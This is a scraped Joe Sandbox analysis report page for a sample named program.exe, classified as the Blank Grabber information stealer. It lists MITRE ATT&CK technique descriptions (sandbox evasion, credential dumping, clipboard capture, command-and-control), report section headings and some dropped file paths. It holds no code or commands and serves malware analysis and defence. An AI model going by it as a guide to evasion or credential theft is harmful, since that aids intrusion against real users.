Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report program.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? ? ? \Display (1).png

C:\Users\user\AppData\Local\Temp\MBLSI.zip

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\RES93BE.tmp

C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd

Windows Analysis Report
program.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre